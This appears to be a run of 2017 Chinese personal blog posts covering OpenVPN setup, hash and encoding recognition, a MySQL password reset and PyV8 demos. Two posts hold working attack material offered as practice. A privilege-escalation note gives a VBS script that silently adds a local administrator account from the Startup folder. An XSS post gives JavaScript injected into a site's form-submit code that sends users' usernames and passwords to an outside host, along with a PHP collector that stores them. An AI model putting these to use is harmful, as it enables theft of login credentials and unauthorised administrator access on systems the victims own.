2017年3月11日星期六

阿里云部署openvpn 基于NAT C/S架构

0x00
这次是第二次配置openvpn了,第一次没有成功,因为是在国外的主机上。
本次基本参照一篇博文完成了配置。

其中要注意的是,不要照搬照抄,注意修改一些内容。
给新用户生成证书的时候,在cd /etc/openvpn目录下
需要注意先执行 source ./vars
然后再 ./build-key xxname

环境:
         OpenVPN 2.3.14 x86_64-redhat-linux-gnu
         CentOS release 6.5 (Final)

0x01
注意根据自己的需求写iptables规则
设置iptables这一条至关重要通过配置nat将vpn网段IP转发到server内网,10.8.0.0/24 是vpn网段

iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -j MASQUERADE
iptables -A INPUT -p UDP --dport 1194 -j ACCEPT
iptables -A INPUT -p TCP --dport 22 -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
service iptables save
chkconfig iptables on  

注意: 必须让iptables服务开机自启动,否则规则不会加载

由于我是在生产环境下,需要多次重启,确保开机后openvpn服务正常运作。

0x02
这次openvpn的搭建速度很快,不到3个小时就完成,当然靠的是良好的排错思路。
可以根据两篇博文的思路来进行,中文英文

总结openvpn 的排除思路

可以说openvpn的排错都是在配置文件里面去完成

server端
查看日志,搜索 error
根据错误去配置

client端
日志出现错误的时候,
就去查看日志,搜索WARNING,并且定位问题
一般定位到的问题都是在server端或者client端配置不匹配导致的
所以通过调整配置文件一般都可以排错完成


2017年3月2日星期四

编码直觉

编码直觉是作为一名黑帽子与白帽子必须掌握的一门技能

注意:在处理并且理解编码意义的时候,经常需要用到碰撞与撞库的术语,或者fuzz。

unix时间戳
                    10位数字长度   1487404381          秒
                    13位数字长度   1487404381121    毫秒

md5  特点
1. 128bit  (16字节)  32个字符
2. 一般128位的MD5散列被表示为32位十六进制数字  (注意:表示一词用的很好)
3. 定长输出

        示例:
                 md5(sdafsd,32) = 569ebc3d91672e7d3dce25de1684d0c9

SHA-1  特点
1.  比md5多8个字符,40个字符
2.  有更多的加密选择,sha-128-256-512

1. 这类加密只能使用脚本进行比对,得出使用的加密算法

BASE64  特点 
 1. 等号“=”用来作为后缀用途 , 后面有一个或者两个 = 号的
 2. 64个字符

   52个大小写字母
    ABCDEF  GHIJKL MNOPQR  STUVWX YZ
    abcdef    ghijkl    mnopqr     stuvwx  yz

  10个数字
    0123456789

  两个字符
     + /


参考链接:
1. 几种常用加密算法比较 


提权记录

最佳拍档A  -- 检索没有安装的补丁编号
最佳拍档B  --  查找相关漏洞编号的使用范围,包括系统版本
渗透工具集合 -- 含有大部分漏洞利用程序

 webshell写入启动项目提权

set wshshell=createobject ("wscript.shell")
a=wshshell.run ("cmd.exe /c net user 用户名 密码  /add",0)
b=wshshell.run ("cmd.exe /c net localgroup Administrators 用户名 /add",0)

保存为xx.vbs
放入 C:\Documents and Settings\All Users\「开始」菜单\程序\启动 ,前提可写

有一条命令可以提取出补丁的详细信息:
        wmic qfe list full

参考链接:
1. Web安全之Windows提权

mysql密码忘记

按照以下的顺序执行
# /etc/init.d/mysql stop
# mysqld_safe --user=mysql --skip-grant-tables --skip-networking &
到这一步,直接再一个回车,&表示后台运行

# mysql -u root mysql
mysql> UPDATE user SET Password=PASSWORD('newpassword') where USER='root';
这里newpassword,就是你新密码 

mysql> FLUSH PRIVILEGES;
mysql> quit

# /etc/init.d/mysql restart
# mysql -uroot -p
Enter password: <输入新设的密码newpassword>

mysql>

XSS原理到后台接收的实践

首先要有一台VPS,一个域名

xss 代码存放处

路径: /Include/Script/validator.js
函数位置: jQuery.fn.checkForm  下面的 form.submit
js代码: document.getElementById('mx').src="http://www.sherpper.com:8680/test.php?"+encodeURI('pass=' + document.getElementById('TextBox2').value)+encodeURI('&user=' + document.getElementById('TextBox1').value);

构造代码的过程中,使用了两个函数 escape 与 encodeURI 。
注意escape组成的url是不能提交成功的,需要使用encodeURI.

html代码:<img src="" id="mx" style="display: none;"/>

安装mysql,并且创建数据库

        创建数据库
                  Create database test;

创建表
create table login
  (
   id int not null AUTO_INCREMENT,
   username char(15) NOT NULL,
   password char(15) NOT NULL,
   PRIMARY KEY(id)

   )ENGINE = InnoDB;

        想看之前创建的表
                show create table xss;

php 后台接收代码
  
<?php
session_start();

$_SESSION['attempt'] = isset($_SESSION['attempt'])?$_SESSION['attempt']:0;

$_SESSION['attempt'] += 1;

if ($_SESSION['attempt'] >= 100) {
    die("Too Frequent");
}

$mysqli = new mysqli("localhost", "root", "123456", "evil");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

$passwd = $_GET['pass'];
$users = $_GET['user'];

$time = date("Y-m-d H:i:s", time());

$items = explode(";", $content);

$js = '';

foreach ($items as $item) {
    $js .= ("document.cookie='".trim($item)."';");
}

echo 'js: ' , $js , '<br>' , 'time: ' , $time , '<br>';

if ($stmt = $mysqli->prepare("insert into xss(username, password, time, js) values (?, ?, ?, ?)")) {
    $stmt->bind_param('ssss', $passwd, $users, $time, $js);
    $result = $stmt->execute();
    if ($result) {
        echo "Collected Your Cookie <br>" ;
    }
}

echo 'password: ', $passwd, '<br>', 'username: ', $users;

?>
这次在linux部署LAMP服务器时遇到一些小问题:
环境: debian7(raspberry pi) apache2 PHP mysql
配置完port.conf后,重启出现问题:
          How to fix Apache2 could not reliably determine the server’s fully qualified domain name
下面是解决方法,附上链接
       echo "ServerName localhost" | sudo tee /etc/apache2/conf.d/fqdn

2017年2月11日星期六

[转]iOS 8 延时摄影功能背后隐藏的小秘密

原文链接
       近日 Studio Neat 就揭露了这个延时摄影功能背后的秘密。事实证明,苹果这样 做是非常明智的。苹果通过“动态间隔选择”来将延时摄影功能的速度加倍并且随着录像的持续时间翻倍而在每秒内拍摄尽可能多的一半的照片。听起来很复杂?不 要紧,看下面的图就一目了然了。


  这意味着当你拍摄一段时长 5 分钟的延时视频的话,系统会在每秒内捕获两帧,视频会被剪成 20 秒长,30fps。而一段 40 分钟的延时视频将会是每四秒一帧,也会得到一段长 20 秒的视频。

2017年2月9日星期四

pyv8 正确的使用方法

首先你要安装pyv8模块,如何安装链接
win7 64位系统,最好装PyV8-1.0-preview-r443.win32-py2.7
以下两段pyv8的demo
 
import PyV8

ctxt = PyV8.JSContext()
ctxt.enter()
func = ctxt.eval("""
    (function(){                 # 这行是固定格式
        function VL(a){          # 这行开始才是js代码
            var b = a.trim();
            return b;
        }
        return VL('hayy  ');     # 这行 return是返回到python的命名空间去了
    })
""")

print func()
标注使用pyv8的使用关键点
 
import PyV8
ctxt = PyV8.JSContext()
ctxt.enter()
func = ctxt.eval("""
    (function(){                       # 这行是固定格式
        function hello(){              # 这行开始才是js代码
            return "Hello world.";
        }
        return hello();                # 这行 return是返回到python的命名空间去了
    })
""")
print func()